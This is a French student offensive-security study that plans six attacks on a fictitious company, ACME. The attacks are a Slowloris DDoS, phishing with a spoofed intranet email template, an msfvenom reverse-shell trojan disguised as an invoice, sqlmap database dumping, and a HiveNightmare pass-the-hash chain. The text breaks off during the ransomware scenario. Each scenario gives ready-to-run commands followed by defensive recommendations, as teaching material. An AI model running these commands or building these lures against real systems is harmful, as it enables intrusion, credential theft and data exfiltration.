ÉTUDE DE SÉCURITÉ OFFENSIVE : ACME

Malea Mlanao, Pierre Jalayann Moreau, Mathis Zeggane, Mohamed Ali Friaa

SOMMAIRE :

Scénario 1 : Indisponibilité du site institutionnel de ACME à l'aide d'une Attaque par Déni de Service (DDoS)

Étape 1 — Définir le scénario de l'attaque

Le site institutionnel d'ACME est accessible à l'adresse acme.fr . Lors de la phase de reconnaissance, nous avons identifié que ce site est hébergé sur un serveur Apache HTTP Server 2.4.49.

Cette version est affectée par plusieurs vulnérabilités connues, mais surtout, elle ne dispose d'aucune protection native contre les attaques par déni de service distribué (DDoS). En particulier, une attaque de type Slowloris (décrite dans la CWE-400 : Uncontrolled Resource Consumption) permet à un attaquant d'épuiser les connexions disponibles du serveur en maintenant un grand nombre de connexions HTTP partiellement ouvertes, rendant le site inaccessible aux utilisateurs légitimes.

Référence CWE : https://cwe.mitre.org/data/definitions/400.html

L'objectif de ce scénario est de rendre le site institutionnel https://www.acme.fr totalement indisponible pendant une durée prolongée, en saturant les ressources du serveur web Apache à l'aide d'une attaque Slowloris lancée depuis plusieurs machines simultanément (DDoS).

En septembre 2016, l'hébergeur français OVH a subi l'une des plus grandes attaques DDoS jamais enregistrées à l'époque, atteignant 1 Tbps de trafic malveillant, générée par un botnet de 145 607 caméras de surveillance infectées par le malware Mirai. OVH raconte l'attaque en détail sur son propre blog officiel :

👉 https://blog.ovhcloud.com/la-goutte-ddos-na-pas-fait-deborder-le-vac/

Étape 2 — Collecte de données (Intelligence Gathering)

Pour mener cette attaque, nous avons besoin de :

- L'adresse IP du serveur hébergeant **https://www.acme.fr**
- La technologie et la version du serveur web utilisé
- Le nombre de connexions simultanées maximales acceptées par le serveur
- L'absence (ou non) d'un pare-feu applicatif (WAF) ou d'un CDN protecteur

2.1 — Trouver l'adresse IP du site

Nous utilisons la commande nslookup ou le site MXToolbox pour résoudre le nom de domaine en adresse IP : nslookup www.acme.fr

Outil en ligne : https://mxtoolbox.com/DNSLookup.aspx

Résultat hypothétique : 185.X.X.X — adresse IP directe du serveur, sans CDN intermédiaire.

2.2 — Identifier la technologie du serveur

Nous utilisons l'outil Wappalyzer (extension navigateur) pour identifier la stack technique :

https://chromewebstore.google.com/detail/wappalyzer-technology-profiler/gppongmhjkpfnbhagpmjfkannfbllamg

Résultat : Apache HTTP Server 2.4.49, sans en-tête indiquant un WAF ou un CDN (pas de Server: cloudflare par exemple).

2.3 — Vérifier l'absence de protection DDoS

Nous utilisons Shodan pour scanner l'adresse IP et confirmer la version Apache exposée ainsi que les ports ouverts :

https://www.shodan.io

Résultat : port 80 (HTTP) et 443 (HTTPS) ouverts, serveur Apache directement exposé, aucun signe de protection Cloudflare ou Akamai.

2.4 — Estimer la limite de connexions simultanées

La configuration par défaut d'Apache accepte 150 connexions simultanées (MaxRequestWorkers 150). Slowloris nécessite d'en occuper la totalité pour bloquer le serveur.

Documentation Apache : https://httpd.apache.org/docs/2.4/mod/mpm_prefork.html

Étape 3 — Exploitation de l'attaque

Outil utilisé : Slowloris

Slowloris est un outil open-source développé en Python, conçu spécifiquement pour effectuer des attaques par déni de service en maintenant des connexions HTTP incomplètes ouvertes.

Téléchargement : https://github.com/gkbrk/slowloris

Principe de fonctionnement :

Slowloris ouvre des centaines de connexions vers le serveur cible et envoie des en-têtes HTTP partiels, sans jamais les terminer. Le serveur attend la fin de chaque requête indéfiniment, épuisant ses connexions disponibles jusqu'à ne plus pouvoir répondre à aucun utilisateur légitime.

Commande d'attaque :

bash
Installation
pip install slowloris

Lancement de l'attaque sur le serveur cible
slowloris www.acme.fr -p 443 --https -s 500

Paramètres :

- -p 443 : attaque sur le port HTTPS
- --https : utilise une connexion SSL
- -s 500 : ouvre 500 sockets simultanés (dépasse largement la limite de 150)

Dans un contexte DDoS (distribué), cette commande est exécutée depuis plusieurs machines simultanément (via un botnet ou des VPS loués anonymement), rendant le blocage par IP inefficace.

Explication technique détaillée : https://fr.wikipedia.org/wiki/Slowloris

Étape 4 — Post-Exploitation

Conséquences immédiates :

Une fois l'attaque lancée, le site https://www.acme.fr devient inaccessible à tous les utilisateurs. Le serveur Apache sature ses connexions disponibles et retourne des erreurs 503 Service Unavailable ou ne répond plus du tout.

L'attaquant peut maintenir l'attaque indéfiniment tant que les sockets restent ouverts, ce qui est automatisé par Slowloris (reconnexion périodique des sockets fermés).

Ce qu'un attaquant malveillant peut en tirer :

- Extorsion financière : menacer ACME de maintenir l'attaque jusqu'au paiement d'une rançon
- Diversion : utiliser la panique générée pour mener simultanément une autre attaque (ex. intrusion sur le SI pendant que les équipes IT gèrent le DDoS)
- Atteinte à la réputation : nuire à l'image de marque d'ACME auprès de ses clients et partenaires européens

Exemple réel comparable :

En 2023, plusieurs sites gouvernementaux français ont été mis hors ligne par le groupe Killnet via des attaques DDoS similaires :

> https://www.lemondeinformatique.fr/actualites/lire-des-sites-institutionnels-francais-touches-par-des-attaques-ddos-89632.html

Étape 5 — Retour et Analyse

Impact sur l'activité d'ACME :

ACME étant spécialisée dans la vente en ligne à destination du marché européen, une indisponibilité du site institutionnel entraîne :

- Une perte directe de chiffre d'affaires pendant toute la durée de l'attaque
- Une perte de confiance des clients et partenaires
- Un risque de déréférencement SEO (Google pénalise les sites indisponibles)
- Des coûts de remédiation et d'investigation (équipes IT mobilisées en urgence)

Mesures préventives recommandées :

Mesure	Description	Référence

CDN + Anti-DDoS	Passer derrière Cloudflare ou Akamai, qui absorbent le trafic malveillant avant qu'il atteigne le serveur	https://www.cloudflare.com/fr-fr/ddos/
Mise à jour Apache	Mettre à jour vers la dernière version stable d'Apache (2.4.62+)	https://httpd.apache.org/download.cgi
Module mod_reqtimeout	Activer ce module Apache qui limite le temps d'attente des connexions incomplètes, rendant Slowloris inefficace	https://httpd.apache.org/docs/2.4/mod/mod_reqtimeout.html
Limitation de connexions par IP	Configurer mod_evasive pour bloquer automatiquement les IP qui ouvrent trop de connexions	https://github.com/jzdziarski/mod_evasive
Plan de continuité	Prévoir un site miroir ou une page de maintenance sur une infrastructure séparée	

Scénario 2 : Vol d'identifiants d'employés de ACME à l'aide d'une attaque de Phishing

Étape 1 — Définir le scénario de l'attaque

ACME SA dispose d'un portail intranet accessible à l'adresse https://intranet.acme.fr, utilisé quotidiennement par ses 750 employés pour se connecter à leurs outils métier (messagerie, RH, gestion des commandes).

Lors de la phase de reconnaissance, nous avons identifié que ce portail utilise un formulaire d'authentification standard sans authentification multi-facteurs (MFA). Cette absence est référencée dans la CWE-308 : Use of Single-factor Authentication, qui identifie l'authentification par mot de passe seul comme une faiblesse structurelle exploitable par ingénierie sociale.

Référence CWE : https://cwe.mitre.org/data/definitions/308.html

L'objectif de ce scénario est de dérober les identifiants (login + mot de passe) d'un ou plusieurs employés d'ACME en leur envoyant un e-mail frauduleux imitant une communication officielle de l'entreprise, les redirigeant vers une fausse page de connexion à l'intranet que nous contrôlons.

Exemple réel comparable — Twitter (2020) : Des attaquants ont compromis les comptes de Barack Obama, Elon Musk et Apple en ciblant des employés de Twitter par phishing téléphonique, obtenant ainsi des accès administrateurs internes. L'incident est documenté directement dans le rapport officiel du Sénat américain :

https://www.hsgac.senate.gov/imo/media/doc/HSGAC_Twitter_Case_Study.pdf

Étape 2 — Collecte de données (Intelligence Gathering)

Pour mener cette attaque, nous avons besoin de :

- Les adresses e-mail professionnelles des employés d'ACME
- Le format d'adresse e-mail utilisé par l'entreprise (ex: prenom.nom@acme.fr)
- Le nom et l'apparence visuelle du portail intranet pour créer une page de phishing crédible
- Des informations sur l'actualité interne d'ACME pour rédiger un prétexte convaincant

2.1 — Trouver les adresses e-mail des employés

Nous utilisons LinkedIn pour identifier les employés d'ACME et leurs noms/prénoms : https://www.linkedin.com

En croisant les profils LinkedIn avec l'outil Hunter.io, nous pouvons deviner le format d'e-mail de l'entreprise et obtenir des adresses vérifiées : https://hunter.io

Résultat hypothétique : le format utilisé est prenom.nom@acme.fr. Hunter.io confirme plusieurs adresses valides comme jean.dupont@acme.fr.

2.2 — Identifier l'apparence du portail intranet

Nous utilisons la Wayback Machine pour retrouver des captures d'écran publiques ou des pages de connexion indexées accidentellement par Google : https://web.archive.org

Nous utilisons également Google Dorks pour trouver des pages de connexion exposées :

site:acme.fr inurl:login
site:acme.fr inurl:connexion

2.3 — Collecter des informations sur l'actualité interne

Nous consultons les réseaux sociaux (LinkedIn, Twitter/X) et le site institutionnel d'ACME pour trouver un prétexte crédible : annonce d'une nouvelle politique RH, migration d'outil informatique, changement de mot de passe obligatoire, etc.

Étape 3 — Exploitation de l'attaque

L'attaque se déroule en deux temps : création de la fausse page, puis envoi de l'e-mail piégé.

Outil utilisé : GoPhish

GoPhish est un framework open-source de simulation de campagnes de phishing, utilisé légalement par les pentesters pour tester la résistance des employés aux attaques par ingénierie sociale.

Téléchargement : https://getgophish.com/

3.1 — Créer la fausse page de connexion

Avec GoPhish, nous clonons la vraie page de connexion de l'intranet d'ACME et l'hébergeons sur un domaine sosie comme acme-intranet.fr ou intranet-acme.net (technique dite de *typosquatting*).

GoPhish capture automatiquement les identifiants saisis sur cette fausse page et redirige ensuite l'utilisateur vers la vraie page pour ne pas éveiller les soupçons.

3.2 — Rédiger et envoyer l'e-mail de phishing

L'e-mail est rédigé avec le prétexte suivant : *"Suite à notre migration vers le nouveau portail RH, veuillez réinitialiser votre mot de passe avant le [date] sous peine de blocage de votre accès."*

Exemple simplifié du contenu HTML de l'e-mail piégé :

```
html
<p>Bonjour <b>Jean</b>,</p>
<p>Dans le cadre de la mise à jour de notre système d'information,
nous vous demandons de bien vouloir renouveler vos identifiants
de connexion avant le <b>31 mars 2025</b>.</p>
<a href="https://acme-intranet.fr/login">
  Cliquer ici pour renouveler mon mot de passe
</a>
<p>Cordialement,<br>La Direction des Systèmes d'Information - ACME SA</p>
```

L'e-mail est envoyé depuis une adresse falsifiée dsi@acme-intranet.fr en utilisant la fonctionnalité d'usurpation d'expéditeur (spoofing) intégrée à GoPhish, possible lorsque le domaine cible n'a pas configuré les enregistrements SPF, DKIM et DMARC.

Étape 4 — Post-Exploitation

Une fois les identifiants d'un ou plusieurs employés capturés via GoPhish, l'attaquant dispose d'un accès légitime au portail intranet d'ACME.

Ce qu'un attaquant malveillant peut faire ensuite (attaque multi-niveaux) :

- Usurper l'identité de l'employé pour envoyer de nouveaux e-mails de phishing en interne, cette fois depuis une vraie adresse @acme.fr — beaucoup plus crédible
- Accéder aux données RH, commerciales ou comptables auxquelles l'employé a accès
- Pivoter vers le SI : si l'employé utilise le même mot de passe pour d'autres services (VPN, messagerie), l'attaquant peut s'y connecter
- Cibler un compte à privilèges élevés (administrateur IT, comptable, DG) pour maximiser l'impact

Exemple réel comparable :

En 2022, la société Uber a subi une intrusion majeure : un attaquant a obtenu les identifiants d'un employé par phishing, puis s'est connecté au VPN de l'entreprise en contournant le MFA par ingénierie sociale. L'incident est documenté sur le blog officiel de sécurité d'Uber : https://www.uber.com/newsroom/security-update/

Étape 5 — Retour et Analyse

Impact sur l'activité d'ACME :

La compromission d'identifiants employés représente une atteinte directe à la confidentialité des données (pilier CIA vu en cours). Pour une entreprise e-commerce de 750 personnes, les conséquences peuvent être : accès aux données clients (noms, adresses, numéros de carte), détournement de commandes, chantage à la revente de données, et obligation de notification à la CNIL sous 72h (RGPD, article 33).

Mesure	Description	Référence
Activer le MFA	Imposer une double authentification sur tous les accès au portail intranet	https://cyber.gouv.fr/publications/recommandations-relatives-lauthentification-multifacteur-et-aux-mots-de-passe
Configurer SPF, DKIM, DMARC	Empêcher l'usurpation du domaine @acme.fr pour les e-mails entrants	https://www.cloudflare.com/fr-fr/learning/email-security/dmarc-dkim-spf/
Simuler des campagnes de phishing	Utiliser GoPhish régulièrement pour tester et former les employés	https://getgophish.com/
Sensibilisation des collaborateurs	Former les employés à identifier les e-mails suspects (expéditeur, URL, urgence artificielle)	https://cyber.gouv.fr/actualites/phishing-comment-reagir
Surveillance des connexions	Mettre en place des alertes sur les connexions depuis des IP inhabituelles ou à des horaires anormaux	

Scénario 3 : Intrusion dans le SI de ACME à l'aide d'un Malware de type « Cheval de Troie »

Étape 1 : Définir le scénario de l'attaque

Le réseau interne d'ACME est composé de postes Windows 10/11 utilisés par les 750 employés pour leurs tâches quotidiennes : messagerie, accès à l'intranet, traitement de commandes et de factures. Dans le cadre de l'activité commerciale de

l'entreprise orientée e-commerce, les employés reçoivent régulièrement des pièces jointes par e-mail (bons de commande, factures fournisseurs, devis).

La vulnérabilité exploitée ici est référencée sous la CWE-494 : Download of Code Without Integrity Check. Elle décrit la faiblesse d'un système qui exécute du code reçu de l'extérieur sans vérifier son intégrité ni son origine. https://cwe.mitre.org/data/definitions/494.html

Le scénario est le suivant : on envoie à un employé ciblé un fichier .exe déguisé en facture. Ce fichier a été généré avec Metasploit et, une fois exécuté, il ouvre une connexion vers notre machine d'attaque. On obtient alors un accès complet et silencieux au poste de la victime (un RAT : Remote Access Trojan).

En 2023, le malware Pikabot s'est propagé massivement en entreprise via des campagnes de phishing. Les victimes ouvraient une pièce jointe apparemment banale et le cheval de Troie s'installait silencieusement, offrant à l'attaquant un accès total à distance.

https://www.itrust.fr/pikabot-2024-evolution-dun-malware-redoutable

Étape 2 : Collecte de données (Intelligence Gathering)

Pour que l'attaque fonctionne, on a besoin de plusieurs informations :

- L'OS et l'architecture des postes cibles (Windows 32 ou 64 bits)
- Une adresse e-mail d'employé valide pour livrer le fichier
- Notre propre adresse IP (machine d'attaque) pour recevoir la connexion de retour du poste infecté

2.1 Pour identifier l'OS des postes, nous pouvons consulter les offres d'emploi publiées par ACME sur LinkedIn (elles mentionnent souvent l'environnement technique requis), on détermine que les postes tournent sous Windows 10/11 64 bits.

Outil utilisé : https://www.linkedin.com

2.2 Afin de récupérer une adresse e-mail cible nous pouvons réutiliser les données collectées en Scénario 2 via Hunter.io (format prenom.nom@acme.fr). On cible de préférence quelqu'un du service comptabilité ou achats, habitué à recevoir des factures par e-mail et donc moins méfiant face à ce type de pièce jointe.

Outil : https://hunter.io

2.3 Enfin, il faut préparer une machine d'écoute. On loue un VPS anonyme (un serveur distant qu'on contrôle et qui sert d'intermédiaire pour recevoir la connexion

du poste infecté) qui servira de serveur de commande. C'est sur cette machine que le poste infecté se connecte une fois le trojan exécuté. Pour connaître son adresse IP : https://www.whatismyip.com/

Étape 3 : Exploitation de l'attaque

Outil utilisé : Metasploit Framework / msfvenom

Metasploit est le framework de pentest le plus utilisé au monde. Il intègre msfvenom, un outil en ligne de commande qui permet de générer des payloads (le code malveillant embarqué dans le fichier piégé) malveillants dans plein de formats différents (.exe, .bat, .pdf...).

Téléchargement : https://www.metasploit.com/download Tutoriel de création d'un trojan avec msfvenom (en français) : https://hackops.fr/creer-un-trojan-avec-metasploit/

3.1 Créer le fichier malveillant : Depuis Kali Linux, on tape la commande suivante pour générer le .exe :

bash

**msfvenom -p windows/x64/meterpreter/reverse_tcp **

**LHOST=<IP_du_VPS> LPORT=4444 **

-f exe -o facture_fev2025.exe

Ce que fait chaque paramètre :

- -p windows/x64/meterpreter/reverse_tcp : le type de payload, ici un RAT ciblant Windows 64 bits avec une connexion sortante (c'est le poste infecté qui rappelle notre serveur, pas l'inverse, ça contourne plus facilement les firewalls)
- LHOST : l'adresse IP de notre VPS
- LPORT 4444 : le port sur lequel on écoute
- -f exe : format exécutable Windows
- -o facture_fev2025.exe : nom du fichier, choisi pour paraître professionnel

Documentation officielle msfvenom : https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html

3.2 Mettre notre machine en écoute : On ouvre Metasploit et on configure le handler (programme qui tourne sur notre machine d'attaque et qui attend de recevoir

la connexion établie par le payload une fois exécuté sur le poste de la victime) qui va recevoir la connexion :

bash

msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST <IP_du_VPS>

set LPORT 4444

run

3.3 Livrer le trojan à la victime : Le fichier facture_fev2025.exe est envoyé par e-mail à l'employé ciblé avec le prétexte : *"Veuillez trouver ci-joint notre facture en attente de règlement."* La technique d'envoi est la même que celle décrite dans le Scénario 2 (spoofing via GoPhish). Dès que l'employé double-clique dessus, une session Meterpreter s'ouvre sur notre machine.

Étape 4 : Post-Exploitation

Une fois connecté, on a un contrôle total et silencieux du poste. Concrètement, un attaquant malveillant peut :

- Enregistrer les frappes clavier (keylogging) pour récupérer les identifiants saisis sur l'intranet, les outils RH, voire les accès bancaires de l'entreprise
- Prendre des captures d'écran à intervalles réguliers pour surveiller l'activité de l'employé
- Explorer le réseau interne depuis le poste compromis (pivoting) : accéder aux serveurs de fichiers, bases de données, autres postes
- Exfiltrer des documents sensibles (contrats, bases clients, données RH)
- Installer une backdoor persistante pour maintenir l'accès même après redémarrage du poste
- Préparer un ransomware et le déployer sur l'ensemble du réseau depuis ce point d'entrée.

https://www.itrust.fr/pikabot-2024-evolution-dun-malware-redoutable

https://www.youtube.com/watch?v=BhebeWurUQM

Étape 5 : Retour et Analyse

Impact sur ACME : Une compromission de ce type sur le réseau d'une entreprise peut avoir des conséquences catastrophiques : vol de données clients (obligation de notification à la CNIL sous 72h, RGPD article 33), paralysie du SI si le poste sert de point d'entrée pour un ransomware, atteinte à l'image de marque vis-à-vis des clients et partenaires européens.

Mesures préventives recommandées :

Mesure	**Description**	**Référence**
Antivirus / EDR à jour : CrowdStrike Falcon	Permet de détecter les payloads Metasploit avant exécution	https://www.crowdstrike.com/fr-fr/
Blocage des .exe par e-mail :Proofpoint Email Protection.	Configurer la passerelle de messagerie pour bloquer les pièces jointes exécutables	https://www.proofpoint.com/fr/products/email-security-and-protection
Principe du moindre privilège : CyberArk	Les employés ne doivent pas avoir les droits admin, ça limite les dégâts en cas d'infection	https://www.cyberark.com/fr/
Sensibilisation des employés	Apprendre aux collaborateurs à ne jamais exécuter un fichier reçu par mail sans validation IT	https://cyber.gouv.fr/actualites/phishing-comment-reagir

Segmentation réseau : ANSSI	Empêcher un poste infecté de communiquer librement avec tout le réseau interne	https://www.cybermalveillance.gouv.fr/medias/2019/02/kit_complet_de_sensibilisation.pdf https://messervices.cyber.gouv.fr/documents-guides/guide_hygiene_informatique_anssi.pdf

Scénario 4 : Accès non autorisé à une base de données via Injection SQL sur le site e-commerce d'ACME

Étape 1 : Définir le scénario de l'attaque

Le site d'ACME (https://www.shop.acme.fr) tourne en PHP avec une base de données MySQL derrière. En naviguant dessus on remarque assez vite que les URLs contiennent des paramètres dynamiques du genre ?id=42 ou ?commande=10837. Ces paramètres sont vraisemblablement passés directement dans des requêtes SQL sans être filtrés, ce qui ouvre la porte à une injection SQL.

La faille est référencée sous la CWE-89 : Improper Neutralization of Special Elements used in an SQL Command. C'est aussi la vulnérabilité A03 du classement OWASP Top 10 2021, ce qui en fait une des failles web les plus répandues et les plus critiques du moment.

Référence CWE : https://cwe.mitre.org/data/definitions/89.html

Référence OWASP Top 10 : https://owasp.org/Top10/A03_2021-Injection/

L'objectif de ce scénario est d'extraire la base de données clients d'ACME (noms, e-mails, mots de passe, historiques de commandes) en exploitant cette faille via l'outil SQLmap.

Étape 2 : Collecte de données (Intelligence Gathering)

Pour mener l'attaque il nous faut :

- Trouver une URL avec un paramètre dynamique injectable (valeur dans l'URL que le site passe directement à la base de données sans la vérifier)
- Identifier la technologie backend (PHP, type de base de données)
- Vérifier qu'il n'y a pas de WAF (pare-feu mais spécifiquement pour les applications web) qui bloquerait nos requêtes

2.1 Pour repérer les paramètres vulnérables, on navigue sur https://www.shop.acme.fr et on observe les URLs. Dès qu'on voit quelque chose comme : **https://www.shop.acme.fr/produit.php?id=42** c'est un candidat sérieux. Ces paramètres GET (valeur envoyée directement dans l'URL au serveur. C'est la cible la plus facile pour une injection SQL parce que n'importe qui peut la modifier à la main dans la barre d'adresse du navigateur) sont souvent injectés directement dans des requêtes SQL sans aucune vérification côté développeur.

2.2 Ensuite, pour identifier le backend, on utilise l'extension Wappalyzer pour identifier la technologie qui fait tourner le site : PHP, MySQL, framework éventuel. Outil : https://chromewebstore.google.com/detail/wappalyzer-technology-profiler/gppongmhjkpfnbhagpmjfkannfbllamg

2.3 Afin de confirmer la faille, nous ajoutons une simple apostrophe ' à la fin du paramètre :

https://www.shop.acme.fr/produit.php?id=42'

Si le serveur renvoie une erreur du type You have an error in your SQL syntax, la faille est confirmée. C'est un test basique décrit dans le guide de test OWASP : https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection

2.4 Enfin pour vérifier l'absence de WAF, on utilise Shodan pour inspecter les headers HTTP du serveur et vérifier qu'il n'y a pas de signature Cloudflare (cf-ray) ou d'un autre WAF actif. Outil : https://www.shodan.io (C'est un moteur de recherche mais pour les serveurs et appareils connectés à internet. Au lieu de chercher des pages web comme Google, Shodan scanne les adresses IP et affiche leurs informations publiques.). Pour ce faire, nous renseignons l'adresse IP du serveur d'ACME dans la barre de recherche. On peut ensuite regarder les headers HTTP qu'il retourne publiquement. Si on voit pas de signature Cloudflare ou autre WAF, le serveur est exposé directement

Étape 3 : Exploitation de l'attaque

Outil utilisé : SQLmap

SQLmap est un outil open source écrit en Python qui automatise entièrement la détection et l'exploitation des injections SQL. Il est préinstallé sur Kali Linux et c'est la référence en pentest web pour ce type de faille.

Téléchargement : https://github.com/sqlmapproject/sqlmap

Tutoriel complet en français : https://secureaks.com/fr/blog/exploitez-les-injections-sql-avec-sqlmap-guide-complet

3.1 Lancer la détection et lister les bases de données :

bash

**sqlmap -u "https://www.shop.acme.fr/produit.php?id=42" **

-p id --level 4 --risk 2 --dbs

SQLmap teste automatiquement plusieurs types d'injection (error-based, union-based, blind) et liste toutes les bases de données accessibles.

Résultat hypothétique : acme_shop, acme_users, information_schema.

3.2 Lister les tables de la base clients :

bash

**sqlmap -u "https://www.shop.acme.fr/produit.php?id=42" **

-D acme_users --tables

Résultat hypothétique : tables clients, commandes, paiements.

3.3 Extraire les données

bash

**sqlmap -u "https://www.shop.acme.fr/produit.php?id=42" **

-D acme_users -T clients --dump

Cette commande récupère toute la table clients : noms, adresses e-mail, adresses postales, mots de passe hashés, historiques d'achat.

Documentation officielle SQLmap : https://github.com/sqlmapproject/sqlmap/wiki/Usage

Étape 4 Post-Exploitation

Une fois la base récupérée, un attaquant malveillant peut :

- Revendre les données sur le darknet (adresses e-mail, mots de passe, coordonnées de clients européens)
- Cracker les mots de passe hashés avec Hashcat ou John the Ripper, puis faire du credential stuffing (réutilisation de mot de passe) sur d'autres services en tablant sur la réutilisation de mots de passe
- Accéder aux données bancaires si la table paiements contient des numéros de carte insuffisamment protégés
- Modifier ou supprimer des entrées dans la base : changer des adresses de livraison, injecter de faux comptes administrateurs, ou carrément vider la base pour paralyser complètement le site

https://www.lemondeinformatique.fr/actualites/lire-des-failles-par-injection-sql-ciblant-des-entreprises-francaises-aux-encheres-82834.html
https://www.cnil.fr/fr/securite-des-donnees-bancaires
https://www.youtube.com/watch?v=U7xOBOnQ0G4

Étape 5 : Retour et Analyse

Pour une entreprise dont le cœur d'activité est la vente en ligne à destination du marché européen, une fuite via injection SQL est extrêmement grave. Ça touche les trois piliers de la sécurité informatique (Confidentialité, Intégrité, Disponibilité). Concrètement ça implique une notification à la CNIL obligatoire sous 72h (RGPD, article 33), une amende pouvant aller jusqu'à 4% du chiffre d'affaires mondial, une perte de confiance des clients, et des frais importants d'investigation et de remédiation.

Mesures préventives recommandées :

Mesure	**Description**	**Référence**

Requêtes préparées	Ne jamais concaténer les entrées utilisateur dans les requêtes SQL — utiliser PDO ou MySQLi avec des paramètres liés	https://www.php.net/manual/fr/pdo.prepared-statements.php
Validation des entrées côté serveur	Filtrer et typer toutes les données reçues avant toute requête (rejeter apostrophes, guillemets, caractères SQL spéciaux)	https://owasp.org/www-community/attacks/SQL_Injection
Mise en place d'un WAF : CloudFlare	Déployer un pare-feu applicatif type Cloudflare ou ModSecurity pour bloquer les tentatives d'injection en amont	https://www.cloudflare.com/fr-fr/waf/
Principe du moindre privilège SQL	L'utilisateur MySQL de l'application ne doit avoir que les droits nécessaires (SELECT/INSERT), jamais DROP ou GRANT	https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html
Chiffrement des données sensibles	Hasher les mots de passe en bcrypt et ne stocker aucun numéro de carte bancaire en clair	https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html

Scénario 5 : Fuite de Données Interne depuis les Serveurs de Fichiers de ACME

Étape 1 : Définition du scénario

ACME SA exploite des serveurs de fichiers Windows Server accessibles aux 750 employés via des partages réseau SMB. Ces serveurs stockent des données sensibles : dossiers RH, contrats fournisseurs, données clients et informations financières.

La vulnérabilité retenue est la CVE-2021-36942, surnommée HiveNightmare ou SeriousSAM, qui affecte Windows 10 et Windows Server 2019. Elle permet à un utilisateur sans privilèges d'accéder aux fichiers système SAM, SYSTEM et SECURITY, qui contiennent les hachages de mots de passe de tous les comptes locaux, y compris les administrateurs.

Source officielle : https://nvd.nist.gov/vuln/detail/CVE-2021-36942

Objectif : un employé malveillant (ou un attaquant ayant compromis un compte standard) exploite cette vulnérabilité pour obtenir des droits administrateur et exfiltrer l'intégralité des dossiers RH et commerciaux vers une destination externe.

Étape 2 : Collecte de données (Intelligence Gathering)

Pour mener l'attaque, l'attaquant a besoin de :

- l'identification des serveurs de fichiers actifs sur le réseau interne de ACME
- la version du système d'exploitation de ces serveurs
- la cartographie des partages réseau SMB accessibles
- les comptes utilisateurs ayant accès aux dossiers sensibles

Comment obtenir ces informations :

Depuis un poste interne, l'attaquant utilise Nmap (https://nmap.org) pour scanner le réseau et repérer les machines avec le port 445 (SMB) ouvert :

nmap -p 445 --open -sV 192.168.1.0/24

Pour identifier la version exacte de Windows Server sur les machines trouvées **:**

nmap -p 445 --script smb-os-discovery 192.168.1.10

Pour lister les partages réseau accessibles, il utilise smbclient (inclus dans Kali Linux, https://www.kali.org) :

smbclient -L //192.168.1.10 -U utilisateur

Source sur l'énumération SMB : https://www.hackingarticles.in/a-little-guide-to-smb-enumeration/

Étape 3 : Exploitation de l'attaque

Outil principal : le script HiveNightmare disponible sur GitHub, qui exploite directement la CVE-2021-36942 pour extraire les fichiers SAM, SYSTEM et SECURITY depuis un compte non privilégié.

Source : https://github.com/GossiTheDog/HiveNightmare

python3 HiveNightmare.py

Une fois les fichiers extraits, l'attaquant utilise Impacket (https://github.com/fortra/impacket) pour parser les hachages de mots de passe contenus dans ces fichiers :

python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

Il obtient ainsi le hachage NTLM du compte Administrateur local. Il l'utilise ensuite avec la technique Pass-the-Hash pour s'authentifier en tant qu'administrateur sur le serveur de fichiers sans jamais connaître le mot de passe en clair :

pth-winexe -U 'ACME/Administrateur%<hash_NTLM>' //192.168.1.10 cmd.exe

Une fois connecté en tant qu'administrateur, il copie l'intégralité du dossier RH vers un serveur externe via un tunnel HTTPS pour contourner les éventuels systèmes de détection d'intrusion.

Étape 4 : Post-exploitation

Une fois l'accès administrateur obtenu et les données exfiltrées, l'attaquant peut :

- vendre les données RH (salaires, coordonnées, numéros de sécurité sociale des 750 employés) sur le darknet, ce qui constitue une violation grave du RGPD
- exploiter les contrats et données commerciales pour du renseignement économique ou de la concurrence déloyale

- créer une backdoor persistante sur le serveur pour maintenir un accès futur discret
- supprimer ou corrompre des fichiers pour effacer ses traces ou saboter l'activité

Un cas réel et documenté de fuite massive de données internes par un employé malveillant : https://www.lemagit.fr/actualites/252531299/Fuite-de-donnees-Verizon-un-employe-exfiltre-les-donnees-de-63000-de-ses-collegues

Étape 5 : Retour et analyse

Impact sur l'activité de ACME SA :

- Impact juridique : violation du RGPD, notification obligatoire à la CNIL dans les 72 heures, amende potentielle jusqu'à 4 % du chiffre d'affaires mondial
- Impact financier : coûts de remédiation, actions en justice des personnes concernées
- Impact réputationnel : perte de confiance des clients et partenaires
- Impact opérationnel : interruption partielle pendant l'investigation

Mesures de prévention :

- Appliquer immédiatement le correctif Microsoft KB5005010 qui corrige HiveNightmare : https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942
- Appliquer le principe du moindre privilège : chaque utilisateur n'accède qu'aux dossiers nécessaires à son poste
- Activer l'audit des accès aux fichiers Windows et centraliser les logs dans un SIEM (ex. Microsoft Sentinel)
- Déployer une solution DLP (Data Loss Prevention) pour détecter et bloquer les transferts massifs de données vers l'extérieur
- Chiffrer les partages réseau sensibles
- Référence bonnes pratiques CNIL : https://www.cnil.fr/fr/securite-des-donnees-les-bonnes-pratiques

Scénario 6 : Blocage des Postes de Travail de ACME par un Ransomware

Étape 1 : Définition du scénario

ACME SA dispose de plusieurs centaines de postes de travail Windows répartis sur ses deux sites. Ces postes sont connectés au réseau interne et accèdent aux serveurs de fichiers, aux applications métier et à Internet.

La vulnérabilité retenue est la CVE-2017-0144, plus connue sous le nom EternalBlue. Elle affecte le protocole SMBv1 de Windows et a été exploitée par le ransomware WannaCry en 2017 pour se propager de façon autonome sur des réseaux entiers. Des variantes récentes de ransomwares continuent d'exploiter cette faille sur des systèmes non mis à jour.

Source officielle : https://nvd.nist.gov/vuln/detail/CVE-2017-0144

Objectif : l'attaquant déploie un ransomware qui se propage de poste en poste via le réseau interne de ACME, chiffre tous les fichiers accessibles et rend les systèmes inutilisables jusqu'au paiement d'une rançon.

Référence d'actualité (ransomware ciblant des entreprises françaises) : https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-010/

Étape 2 : Collecte de données (Intelligence Gathering)

Pour mener l'attaque, l'attaquant a besoin de :

- identifier les postes Windows sur le réseau interne de ACME
- vérifier que SMBv1 est activé sur les machines cibles (nécessaire pour exploiter EternalBlue)
- connaître les plages d'adresses IP du réseau interne
